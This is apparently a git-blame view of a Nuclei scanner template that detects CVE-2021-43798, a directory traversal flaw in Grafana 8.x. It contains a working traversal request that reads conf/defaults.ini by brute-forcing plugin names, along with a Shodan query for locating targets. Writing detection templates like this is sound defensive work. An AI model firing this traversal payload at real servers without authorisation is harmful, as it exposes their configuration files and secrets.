2021-12-07 10:12:59 +00:00
|
|
|
id: grafana-file-read
|
|
|
|
|
|
|
|
info:
|
2022-07-26 13:45:11 +00:00
|
|
|
name: Grafana 8.x - Local File Inclusion
|
2023-04-18 15:19:22 +00:00
|
|
|
author: z0ne,dhiyaneshDk,jeya.seelan,dwisiswant0,j4vaovo
|
2021-12-07 10:12:59 +00:00
|
|
|
severity: high
|
2022-07-26 13:45:11 +00:00
|
|
|
description: Grafana 8.x is vulnerable to local file inclusion.
|
2021-12-07 10:12:59 +00:00
|
|
|
reference:
|
2022-07-26 13:45:11 +00:00
|
|
|
- https://grafana.com/blog/2021/12/08/an-update-on-0day-cve-2021-43798-grafana-directory-traversal/
|
2021-12-07 10:12:59 +00:00
|
|
|
- https://nosec.org/home/detail/4914.html
|
|
|
|
- https://github.com/jas502n/Grafana-VulnTips
|
2022-07-26 13:45:11 +00:00
|
|
|
- https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
|
2021-12-07 10:12:59 +00:00
|
|
|
- https://twitter.com/naglinagli/status/1468155313182416899
|
2022-07-26 13:45:11 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-43798
|
|
|
|
classification:
|
2023-04-03 09:07:37 +00:00
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
2022-07-26 13:45:11 +00:00
|
|
|
cvss-score: 7.5
|
2022-12-08 21:38:53 +00:00
|
|
|
cve-id: CVE-2021-43798
|
2022-07-26 13:45:11 +00:00
|
|
|
cwe-id: CWE-22
|
2023-04-03 09:07:37 +00:00
|
|
|
metadata:
|
2023-04-28 08:11:21 +00:00
|
|
|
max-request: 325
|
2023-04-03 09:07:37 +00:00
|
|
|
shodan-query: title:"Grafana"
|
2022-12-08 08:12:47 +00:00
|
|
|
tags: grafana,lfi
|
2021-12-07 10:12:59 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-12-07 10:12:59 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
2023-04-18 15:19:22 +00:00
|
|
|
- "{{BaseURL}}/public/plugins/{{pluginSlug}}/../../../../../conf/defaults.ini"
|
2021-12-07 10:12:59 +00:00
|
|
|
|
|
|
|
payloads:
|
2022-05-23 07:57:45 +00:00
|
|
|
pluginSlug: helpers/wordlists/grafana-plugins.txt
|
|
|
|
threads: 50
|
2021-12-07 10:12:59 +00:00
|
|
|
stop-at-first-match: true
|
2023-10-14 11:27:55 +00:00
|
|
|
|
2021-12-07 10:12:59 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
2023-04-18 15:19:22 +00:00
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- "socket = /tmp/grafana.sock"
|
|
|
|
- "http_port"
|
|
|
|
condition: and
|
2021-12-07 10:12:59 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
2021-12-08 06:39:12 +00:00
|
|
|
- 200
|